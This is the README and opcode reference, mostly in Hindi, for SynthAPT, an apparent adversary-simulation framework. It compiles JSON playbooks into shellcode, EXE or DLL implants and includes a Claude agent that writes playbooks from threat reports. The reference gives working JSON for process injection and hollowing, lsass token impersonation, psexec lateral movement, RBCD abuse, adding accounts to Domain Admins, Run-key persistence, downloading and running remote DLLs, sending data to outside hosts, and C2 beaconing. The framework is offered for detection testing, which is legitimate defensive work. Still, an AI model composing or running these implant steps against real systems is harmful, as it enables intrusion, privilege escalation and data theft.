SynthAPT

अवलोकन

SynthAPT जटिल हमले के पथों को दोहराने के लिए एक प्लेबुक-आधारित प्रतिद्वंद्वी सिमुलेशन फ्रेमवर्क है। इसे उन्नत डिटेक्शन और AI-आधारित जांच एजेंटों को मान्य करने के लिए डिज़ाइन किया गया है। मुख्य विचार यह है कि मैलवेयर व्यवहार को JSON में व्यक्त किया जा सकता है और कार्यात्मक मैलवेयर में संकलित किया जा सकता है, जिससे LLMs का उपयोग करके यथार्थवादी परिदृश्यों का तेजी से विकास संभव हो सके।

कोर इम्प्लांट एक शेलकोड पेलोड है जो प्लेबुक इंटरप्रेटर द्वारा संचालित होता है। एक प्लेबुक पूरे हमले के पथ को पूर्वनिर्धारित करती है और इम्प्लांट उसका अनुसरण करता है, प्रोसेस इंजेक्शन, लेटरल मूवमेंट आदि के माध्यम से वातावरण में घूमता है। प्रत्येक इम्प्लांट अपने स्वयं के निर्देश सेट के साथ एक स्वतंत्र थ्रेड के रूप में उत्पन्न होता है, इसलिए बहु-चरणीय हमले (जैसे प्रारंभिक पहुंच → प्रिविलेज एस्केलेशन → लेटरल मूवमेंट → एक्सफिल्ट्रेशन) सहयोगात्मक इम्प्लांट के ग्राफ के रूप में व्यक्त किए जाते हैं, जो सभी प्लेबुक में पहले से परिभाषित होते हैं। इसके तीन प्रमुख लाभ हैं:

पेलोड C2 बुनियादी ढांचे के बिना वास्तविक मैलवेयर की नकल कर सकते हैं - हमले का पूरा पथ पेलोड में एम्बेडेड होता है और C2 इंटरैक्शन को मॉक किया जा सकता है
पेलोड दोहराने योग्य होते हैं - वे हर बार समान रूप से पूरे हमले के पथ को निष्पादित करते हैं, जो उन्हें डिटेक्शन के रिग्रेशन टेस्टिंग के लिए उपयुक्त बनाता है
LLMs खतरे की खुफिया रिपोर्टों और ब्लॉगों को सीधे कार्यशील पेलोड में अनुवाद कर सकते हैं, बिना आक्रामक विशेषज्ञता या खरोंच से मैलवेयर बनाने की आवश्यकता के

विशेषताएं

पोजीशन-इंडिपेंडेंट शेलकोड - इम्प्लांट पूरी तरह से PIC है और इसे किसी भी लोडर या इंजेक्टर में रोल किया जा सकता है
समृद्ध ओपकोड लाइब्रेरी - निष्पादन, टोकन मैनिपुलेशन, प्रोसेस इंजेक्शन, प्रोसेस हॉलोइंग, लेटरल मूवमेंट, AD एनुमरेशन और संशोधन, रजिस्ट्री, सेवाएं, और अधिक
स्व-प्रतिकृति पेलोड - इम्प्लांट एक अलग कार्य सेट के साथ स्वयं को EXE या DLL के रूप में ड्रॉप कर सकता है, जिससे C2 के बिना बहु-चरणीय वितरण संभव होता है
लचीले आउटपुट प्रारूप - एक प्लेबुक को रॉ शेलकोड, PE EXE या PE DLL में संकलित करें
इन-मेमोरी पायथन - रनटाइम पर एक पायथन इंटरप्रेटर को रिफ्लेक्टिव रूप से लोड किया जा सकता है, जो लचीली स्क्रिप्टिंग के लिए सभी इम्प्लांट क्षमताओं को पायथन मॉड्यूल के रूप में उजागर करता है
NPC सिमुलेशन - 'एक्सप्लोरर' ओपकोड्स स्वचालित रूप से पेलोड को अनज़िप और लॉन्च करने की अनुमति देते हैं, जो उपयोगकर्ता-इंटरैक्शन आर्टिफैक्ट्स को पुन: उत्पन्न करता है (जब Explorer.exe में इंजेक्ट किया जाता है)
LLM एजेंट के साथ TUI संपादक - एक एकीकृत क्लॉड एजेंट के साथ एक टर्मिनल-आधारित प्लेबुक संपादक जो प्राकृतिक भाषा या खतरे की खुफिया से प्लेबुक उत्पन्न और संपादित कर सकता है
BOF लोडर - कार्यक्षमता को मानक बीकन ऑब्जेक्ट फाइलों के साथ बढ़ाया जा सकता है

स्रोत से निर्माण

यदि आप रिलीज़ का उपयोग नहीं करना चाहते हैं तो आप इसे इस प्रकार संकलित कर सकते हैं:

cargo
rustup
binutils-mingw-w64-x86-64```bash cargo install cargo-make rustup toolchain install nightly rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64

cargo make के साथ बनाएँ:```bash
cargo make build
./target/release/synthapt

यह शेलकोड और संपादक को संकलित करेगा।

उपयोग

बिना किसी कमांड के SynthAPT चलाने से आप संपादक में प्रवेश कर जाएंगे। आप एक Claude API कुंजी प्रदान कर सकते हैं और प्रॉम्प्ट करते समय परिवर्तन देख सकते हैं।```bash SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload

यदि आप किसी अन्य LLM या सब्सक्रिप्शन का उपयोग करना चाहते हैं, तो आप `synthapt export-skill` चला सकते हैं और इसे अपने किसी भी कोडिंग सेटअप के साथ उपयोग कर सकते हैं। इससे एक JSON प्लेबुक निकलनी चाहिए। इसे compile कमांड से पेलोड में कंपाइल करें:```bash
Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Opcodes Reference

Constants can be defined as strings, hex objects, or base64 objects:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]

---

### end (0x00)
कार्य सेट का अंत। संकलक द्वारा स्वचालित रूप से जोड़ा गया - आपको इसे जोड़ने की आवश्यकता नहीं है।

---

### store_result (0x01)
अंतिम संचालन परिणाम को एक चर में संग्रहीत करें।

| Field | Type | |
|-------|------|-|
| var | u16 | **आवश्यक** |```json
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

वर्तमान शेलकोड बाइट्स को एक वैकल्पिक task ID और/या magic value के साथ पैच करके लौटाएं।

फ़ील्ड	प्रकार
task	u8	वैकल्पिक
magic	u32 हेक्स स्ट्रिंग या संख्या	वैकल्पिक

### स्लीप (0x03)
दिए गए मिलीसेकंड की संख्या के लिए सोएं।

| क्षेत्र | प्रकार | |
|---------|--------|-|
| ms | u32 | **आवश्यक** |```json
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

फ़ील्ड	प्रकार
command	string	आवश्यक
{ "op": "run_command", "command": "whoami /all" }

### get_cwd (0x05)
वर्तमान कार्य निर्देशिका प्राप्त करें। कोई तर्क नहीं।```json
{ "op": "get_cwd" }

read_file (0x06)

एक फ़ाइल पढ़ें और उसकी सामग्री लौटाएँ।

फ़ील्ड	प्रकार
path	string	आवश्यक
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }

---

### write_file (0x07)
एक फ़ाइल में बाइट्स लिखें।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |
| content | bytes | *वैकल्पिक* (यदि छोड़ दिया जाए तो खाली फ़ाइल) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

एक चर का स्थिति कोड प्रिंट करें (0 = सफलता, गैर-शून्य = त्रुटि)।

फ़ील्ड	प्रकार
var	u16	आवश्यक
{ "op": "check_error", "var": 0 }

---

### conditional (0x09)
चर स्थिति के आधार पर विभिन्न कार्य सूचकांकों पर शाखा।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| mode | `"data"` या `"error"` | **आवश्यक** |
| var1 | u16 | **आवश्यक** |
| var2 | u16 | *वैकल्पिक* (एकल जाँच के बजाय दो चरों की तुलना करें) |
| true | u16 | **आवश्यक** (यदि स्थिति सत्य है तो कार्य सूचकांक) |
| false | u16 | **आवश्यक** (यदि स्थिति असत्य है तो कार्य सूचकांक) |

`true_target` और `false_target` को `true` और `false` के उपनाम के रूप में स्वीकार किया जाता है।

एकल-चर मोड:
- `"data"` — सत्य यदि var1 में गैर-रिक्त डेटा है
- `"error"` — सत्य यदि var1 की स्थिति 0 है (सफलता)

दो-चर मोड (var2 मौजूद):
- `"data"` — सत्य यदि var1 डेटा var2 डेटा के बराबर है
- `"error"` — सत्य यदि var1 त्रुटि कोड var2 त्रुटि कोड के बराबर है```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

एक वेरिएबल को शाब्दिक मान पर सेट करें।

फ़ील्ड	प्रकार
var	u16	आवश्यक
data	bytes	वैकल्पिक (यदि छोड़ा गया तो खाली)

शाब्दिक स्ट्रिंग और हेक्स/बेस64 मानों को 5-बाइट परिणाम उपसर्ग के साथ संग्रहीत किया जाता है, ताकि पढ़े जाने पर वे सामान्य संचालन परिणामों की तरह दिखें। वेरिएबल ($n) और स्थिरांक (%n) संदर्भों को यथावत पारित किया जाता है।```json { "op": "set_var", "var": 0, "data": "hello world" } { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

---

### print_var (0x0B)
stdout पर एक वेरिएबल की सामग्री प्रिंट करें (डीबग)। अंतिम ऑपरेशन परिणाम प्रिंट करने के लिए `var` को छोड़ दें।

| Field | Type | |
|-------|------|-|
| var | u16 | *वैकल्पिक* (अनुपस्थित होने पर अंतिम परिणाम प्रिंट करता है) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

वर्तमान कार्य सेट के भीतर किसी कार्य सूचकांक पर बिना शर्त कूद।

फ़ील्ड	प्रकार
target	u16	आवश्यक
{ "op": "goto", "target": 2 }

---

### माइग्रेट (0x0D)
खोज स्ट्रिंग या PID से मेल खाने वाली प्रक्रिया में शेलकोड इंजेक्ट करें।

| फील्ड | प्रकार | |
|-------|------|-|
| task_id | u8 | **आवश्यक** |
| search | स्ट्रिंग या संख्या | *वैकल्पिक* (खाली = कोई खोज नहीं; संख्या = लक्ष्य PID) |
| magic | u32 हेक्स स्ट्रिंग या संख्या | *वैकल्पिक* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

चल रही प्रक्रियाओं को सूचीबद्ध करें। टैब-पृथक पंक्तियाँ लौटाता है: pid\timage\tcmdline\n। कोई तर्क नहीं।```json { "op": "list_procs" }

### get_const (0x0F)
अंतिम परिणाम में एक स्थिरांक लोड करें। `index` या `const_idx` को फ़ील्ड नाम के रूप में स्वीकार करता है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| index | u16 | **आवश्यक** |```json
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

WMI के माध्यम से एक कमांड निष्पादित करें, वैकल्पिक रूप से किसी दूरस्थ होस्ट पर।

---

### http_send (0x11)
HTTP/S अनुरोध भेजें।

| क्षेत्र | प्रकार | |
|---------|------|-|
| host | string | **आवश्यक** |
| method | string | *वैकल्पिक* (डिफ़ॉल्ट: `"GET"`) |
| port | u16 | *वैकल्पिक* (डिफ़ॉल्ट: `80`) |
| path | string | *वैकल्पिक* (डिफ़ॉल्ट: `"/"`) |
| secure | bool | *वैकल्पिक* (डिफ़ॉल्ट: `false`) |
| body | bytes | *वैकल्पिक* (यदि छोड़ा गया तो खाली) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }

sacrificial (0x12)

एक प्रोसेस को निलंबित करके स्पॉन करें, शेलकोड इंजेक्ट करें, और इसे फिर से शुरू करें।

### redirect_stdout (0x13)
stdout को किसी फ़ाइल या नामित पाइप पर रीडायरेक्ट करें। बाद के `run_command` का आउटपुट वहाँ जाता है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }

shellcode_server (0x14)

एक TCP सर्वर प्रारंभ करें जो कनेक्ट करने वाले क्लाइंट को शेलकोड प्रदान करता है। प्रत्येक क्लाइंट को एक बढ़ते जादुई मान के साथ एक प्रतिलिपि प्राप्त होती है।

फ़ील्ड	प्रकार
port	u16	आवश्यक
magic_base	u32 हेक्स स्ट्रिंग या संख्या

---

### resolve_hostname (0x15)
एक होस्टनाम को IPv4 पता स्ट्रिंग में हल करें।

| Field | Type | |
|-------|------|-|
| hostname | string | **आवश्यक** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }

psexec (0x16)

SMB के माध्यम से एक रिमोट होस्ट पर बाइनरी कॉपी करें और इसे एक सेवा के रूप में निष्पादित करें (PsExec-शैली पार्श्व गति)।

---

### generate_exe (0x17)
वर्तमान शेलकोड और बाइटकोड एम्बेडेड के साथ एक PE निष्पादन योग्य जनरेट करें।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| task_id | u8 | **आवश्यक** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }

run_bof (0x18)

बीकन ऑब्जेक्ट फ़ाइल (BOF) निष्पादित करें।

---

### query_ldap (0x19)
LDAP निर्देशिका क्वेरी करें।

| Field | Type | |
|-------|------|-|
| base | string | **आवश्यक** (आधार DN) |
| filter | string | **आवश्यक** |
| scope | u8 | *वैकल्पिक* (डिफ़ॉल्ट: `2` = सबट्री; `0` = आधार, `1` = एक-स्तर) |
| attribute | string | *वैकल्पिक* (खाली = सभी गुण लौटाएं) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }

set_ad_attr_str (0x1A)

एक Active Directory विशेषता को एक स्ट्रिंग मान पर सेट करें।

---

### set_ad_attr_bin (0x1B)
किसी Active Directory विशेषता को बाइनरी मान पर सेट करें। विशेषता को हटाने के लिए खाली मान दें।

| क्षेत्र | प्रकार | |
|-------|------|-|
| dn | string | **आवश्यक** |
| attr | string | **आवश्यक** |
| value | bytes | **आवश्यक** (खाली = विशेषता हटाएं) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }

portscan (0x1C)

एक या अधिक लक्ष्यों पर TCP पोर्ट स्कैन करें। केवल खुले पोर्ट के लिए host\tport\n पंक्तियाँ लौटाता है।

---

### set_user_password (0x1D)
NetUserSetInfo के माध्यम से स्थानीय या डोमेन उपयोगकर्ता का पासवर्ड सेट करें।

| Field | Type | |
|-------|------|-|
| username | string | **required** |
| password | string | **required** |
| server | string | *optional* (खाली = स्थानीय मशीन) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }

add_user_to_localgroup (0x1E)

NetLocalGroupAddMembers के माध्यम से किसी उपयोगकर्ता को स्थानीय समूह में जोड़ें।

---

### remove_user_from_localgroup (0x1F)
NetLocalGroupDelMembers के माध्यम से किसी उपयोगकर्ता को स्थानीय समूह से निकालें।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| group | string | **आवश्यक** |
| username | string | **आवश्यक** |
| server | string | *वैकल्पिक* (खाली = स्थानीय मशीन) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }

get_user_sid (0x20)

LookupAccountName के माध्यम से उपयोगकर्ता की SID स्ट्रिंग खोजें।

Field	Type
username	string	आवश्यक
server	string	वैकल्पिक (खाली = स्थानीय मशीन)

SID स्ट्रिंग लौटाता है, उदाहरण: S-1-5-21-...।```json { "op": "get_user_sid", "username": "Administrator" } { "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }

---

### add_user_to_group (0x21)
NetGroupAddUser के माध्यम से एक उपयोगकर्ता को डोमेन समूह में जोड़ें।

| Field | Type | |
|-------|------|-|
| group | string | **आवश्यक** |
| username | string | **आवश्यक** |
| server | string | *वैकल्पिक* (खाली = स्थानीय DC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }

remove_user_from_group (0x22)

NetGroupDelUser के माध्यम से एक डोमेन समूह से उपयोगकर्ता को हटाएं।

---

### create_rbcd_ace (0x23)
Resource-Based Constrained Delegation के लिए बाइनरी ACE बनाएँ। परिणाम `msDS-AllowedToActOnBehalfOfOtherIdentity` पर सीधे लिखने के लिए उपयुक्त है।

| फ़ील्ड | प्रकार | |
|--------|--------|-|
| sid | string | **आवश्यक** (SID स्ट्रिंग, उदाहरण के लिए `get_user_sid` से) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }

reg_create_key (0x24)

एक रजिस्ट्री कुंजी बनाएँ।

Field	Type
key	string	आवश्यक (पूर्ण पथ, जैसे `"HKLM\\SOFTWARE\\MyApp"`)
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }

---

### reg_delete_key (0x25)
एक रजिस्ट्री कुंजी हटाएं।

| Field | Type | |
|-------|------|-|
| key | string | **आवश्यक** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }

reg_set_value (0x26)

एक रजिस्ट्री मान सेट करें।

---

### reg_query_value (0x27)
रजिस्ट्री मान क्वेरी करें। कच्चे मान बाइट्स लौटाता है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| key | string | **आवश्यक** |
| value_name | string | **आवश्यक** (डिफ़ॉल्ट मान के लिए खाली स्ट्रिंग) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }

make_token (0x28)

LogonUser के माध्यम से एक प्रतिरूपण टोकन बनाएँ और इसका प्रतिरूपण करें। डिफ़ॉल्ट लॉगन प्रकार 9 (LOGON32_LOGON_NEW_CREDENTIALS) है, जो बाहरी नेटवर्क कनेक्शन के लिए प्रदान की गई क्रेडेंशियल का उपयोग करता है, जबकि स्थानीय टोकन अपरिवर्तित रहता है।

---

### impersonate_process (0x29)
एक प्रक्रिया टोकन खोलें और उसका प्रतिरूपण करें। विशेषाधिकार वृद्धि या पार्श्व टोकन चोरी के लिए उपयोगी।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| search | string | **आवश्यक** (छवि नाम या कमांड लाइन से मेल खाता है) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }

enable_privilege (0x2A)

किसी प्रक्रिया टोकन पर एक विशेषाधिकार सक्षम करें।

---

### list_process_privs (0x2B)
किसी प्रक्रिया के लिए विशेषाधिकार नामों और उनकी सक्षम/अक्षम स्थिति की सूची बनाएं। `name\tenabled\n` या `name\tdisabled\n` पंक्तियाँ लौटाता है।

| क्षेत्र | प्रकार | |
|-------|------|-|
| search | string | *वैकल्पिक* (खाली = वर्तमान प्रक्रिया) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }

list_thread_privs (0x2C)

वर्तमान थ्रेड टोकन पर विशेषाधिकारों को सूचीबद्ध करता है। list_process_privs के समान प्रारूप में लौटाता है। कोई आर्गुमेंट नहीं।```json { "op": "list_thread_privs" }

---

### delete_file (0x2D)
एक फ़ाइल हटाएँ।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }

revert_to_self (0x2E)

मूल प्रक्रिया टोकन पर वापस जाएं, किसी भी प्रतिरूपण को समाप्त करें। कोई तर्क नहीं।```json { "op": "revert_to_self" }

### start_service (0x2F)
विंडोज सेवा प्रारंभ करें।

| क्षेत्र | प्रकार | |
|-------|------|-|
| service_name | string | **आवश्यक** |
| target | string | *वैकल्पिक* (खाली = स्थानीय मशीन) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }

delete_service (0x30)

एक Windows सेवा हटाएं।

फ़ील्ड	प्रकार
service_name	string	आवश्यक

---

### create_thread (0x31)
वर्तमान प्रक्रिया में शेलकोड की एक प्रति चलाने वाला एक नया थ्रेड बनाएं। यदि `magic` को छोड़ दिया जाता है, तो मौजूदा इंस्टेंसेज़ से टकराने वाला अद्वितीय मैजिक खोजने के लिए प्रक्रिया हीप्स को स्कैन करता है।

| क्षेत्र | प्रकार | |
|-------|------|-|
| task | u8 | *वैकल्पिक* (छोड़ें या `255` = वर्तमान थ्रेड के समान कार्य सेट) |
| magic | u32 hex string or number | *वैकल्पिक* (छोड़ने पर स्वतः पहचाना जाता है) |

> **चेतावनी**: `task` को छोड़ने पर वर्तमान थ्रेड का वही कार्य सेट नए थ्रेड में चलता है। यदि कार्य सेट फिर से `create_thread` को कॉल करता है, तो इससे अनंत थ्रेड उत्पन्न होते हैं।```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }

generate_dll (0x32)

वर्तमान शेलकोड के साथ एम्बेडेड एक DLL जनरेट करता है। DLL_PROCESS_ATTACH पर शेलकोड चलाता है और एक नामित फ़ंक्शन निर्यात करता है जो भी शेलकोड चलाता है।

### shell_execute (0x33)
एक फ़ाइल को COM के माध्यम से ShellExecuteEx का उपयोग करके निष्पादित करें। परिणामी प्रक्रिया शेल द्वारा लॉन्च की गई प्रतीत होती है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |
| verb | string | *वैकल्पिक* (उदा. `"open"`, `"runas"`) |
| args | string | *वैकल्पिक* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }

shell_extract (0x34)

ZIP संग्रह को Windows Shell का उपयोग करके निकालें।

Field	Type
path	string	आवश्यक (ZIP फ़ाइल का पथ)

ZIP के समान नाम (बिना एक्सटेंशन के) वाले फ़ोल्डर में उसी निर्देशिका में निकालता है।```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }

---

### shell_execute_explorer (0x35)
explorer.exe को पैरेंट प्रक्रिया के रूप में उपयोग करके COM के माध्यम से एक फ़ाइल निष्पादित करें। उत्पन्न प्रक्रिया उपयोगकर्ता द्वारा Explorer से लॉन्च की गई प्रतीत होती है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |
| verb | string | *वैकल्पिक* |
| args | string | *वैकल्पिक* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }

load_library (0x36)

LoadLibraryW के माध्यम से वर्तमान प्रक्रिया में एक DLL लोड करें।

फ़ील्ड	प्रकार
path	string	आवश्यक
{ "op": "load_library", "path": "C:\Users\Public\payload.dll" }

---

### pyexec (0x37)
एक URL से Python DLL डाउनलोड करें (पहले डाउनलोड के बाद मेमोरी में कैश), फिर एक Python स्क्रिप्ट निष्पादित करें। सभी एजेंट opcodes के लिए बाइंडिंग के साथ एक `agent` मॉड्यूल प्रकट करता है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| url | string | *वैकल्पिक* (Python DLL का URL; खाली = पहले से लोड किए गए Python का उपयोग करें) |
| script | string | *वैकल्पिक* (निष्पादित करने के लिए Python कोड; खाली = चलाए बिना प्रारंभ करें) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }

hollow (0x38)

प्रक्रिया होलोइंग: एक वैध प्रक्रिया को रोकी हुई अवस्था में चालू करना, उसके प्रवेश बिंदु को शेलकोड से अधिलेखित करना, और फिर से शुरू करना।

### migrate_apc (0x39)
एक प्रक्रिया को सस्पेंडेड रूप में स्पॉन करें, RWX मेमोरी आवंटित करें, शेलकोड लिखें, मुख्य थ्रेड में एक APC को क्यू करें, और रिज़्यूम करें। स्पॉन की गई प्रक्रिया का PID लौटाता है।

| Field | Type | |
|-------|------|-|
| image | string | **आवश्यक** |
| task_id | u8 | **आवश्यक** |
| magic | u32 hex string or number | *वैकल्पिक* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }

register_service (0x3A)

StartServiceCtrlDispatcher को कॉल करके वर्तमान प्रक्रिया को Windows सेवा के रूप में पंजीकृत करें। जब प्रक्रिया Service Control Manager द्वारा प्रारंभ की जाती है, तब इसे जल्दी कॉल किया जाना चाहिए, अन्यथा SCM इसे लगभग 30 सेकंड के बाद समाप्त कर देगा। पृष्ठभूमि थ्रेड में SCM संचार चलाता है ताकि मुख्य कार्य सेट सामान्य रूप से जारी रहे।

Field	Type
service_name	string	आवश्यक (उपनाम: `name`)
{ "op": "register_service", "service_name": "MySvc" }

---

### exit_process (0x3B)
वर्तमान प्रक्रिया को समाप्त करें।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| exit_code | u32 | *वैकल्पिक* (डिफ़ॉल्ट: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }

hollow_apc (0x3C)

एक प्रक्रिया को सस्पेंडेड करें और APC के माध्यम से शेलकोड इंजेक्ट करें। migrate_apc के समान लेकिन वैकल्पिक PPID स्पूफिंग के साथ।

---

### frida_hook (0x3F)
एक URL से Frida gadget DLL डाउनलोड करें (पहले डाउनलोड के बाद कैश्ड) और एक JavaScript हुक स्थापित करें।

| क्षेत्र | प्रकार | |
|-------|------|-|
| url | string | **आवश्यक** |
| script | string | **आवश्यक** (Frida के API का उपयोग करने वाला JavaScript) |
| name | string | *वैकल्पिक* (बाद में `frida_unhook` के साथ संदर्भ के लिए हुक नाम) |
| callback_host | string | *वैकल्पिक* (HTTP POST `send()` संदेश भेजने के लिए होस्ट) |
| callback_port | u16 | *वैकल्पिक* |
| batch_size | u32 | *वैकल्पिक* (प्रति HTTP POST बैच में संदेश; डिफ़ॉल्ट: `50`) |
| flush_interval | u32 | *वैकल्पिक* (ms में फ्लश अंतराल; डिफ़ॉल्ट: `5000`) |

JavaScript में `send()` के माध्यम से भेजे गए संदेश या तो `callback_host:callback_port/frida` पर पोस्ट किए जाते हैं या यदि कोई कॉलबैक कॉन्फ़िगर नहीं किया गया है तो stdout पर लिखे जाते हैं।```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }

frida_unhook (0x40)

एक Frida हुक को अनलोड करें। बिना किसी तर्क के, सभी हुक अनलोड हो जाते हैं।

---

### kill (0x42)
किसी चल रहे एजेंट इंस्टेंस को उसके मैजिक वैल्यू द्वारा समाप्त करें।

| Field | Type | |
|-------|------|-|
| magic | u32 hex string or number | *वैकल्पिक* (वर्तमान इंस्टेंस को समाप्त करने के लिए छोड़ दें) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }

http_beacon (0x43)

एक HTTP C2 सर्वर से कनेक्ट करें और बाइटकोड कार्यों के लिए पोल करें।

---

### mem_read (0x44)
वर्तमान या दूरस्थ प्रक्रिया में मेमोरी पते से रॉ बाइट्स पढ़ें।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| address | hex string | **आवश्यक** (पता हेक्स वर्णों के रूप में, जैसे `"7FFE0030"`; `0x` उपसर्ग अपने आप हटा दिया जाता है) |
| size | u32 | **आवश्यक** |
| pid | u32 | *वैकल्पिक* (दूरस्थ प्रक्रिया; स्थानीय पढ़ने के लिए छोड़ें) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }

dll_list (0x45)

PEB LDR InLoadOrderModuleList को ट्रैवर्स करें और लोडेड मॉड्यूल लौटाएं। postcard-serialized Vec<ProcessResult<ModuleInfo>> लौटाता है।

Field	Type
pid	u32 or `"all"`

---

### mem_map (0x46)
गणना करें वर्चुअल मेमोरी क्षेत्रों की `VirtualQuery`/`VirtualQueryEx` के माध्यम से। पोस्टकार्ड-सीरियलाइज़्ड `Vec<ProcessResult<MemRegion>>` लौटाता है। FREE क्षेत्रों को छोड़ता है; IMAGE क्षेत्रों में मॉड्यूल नाम और PE अनुभाग शामिल होता है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| pid | u32 या `"all"` | *वैकल्पिक* (हटाएं = वर्तमान प्रक्रिया; `"all"` = हर सुलभ प्रक्रिया) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }

malfind (0x47)

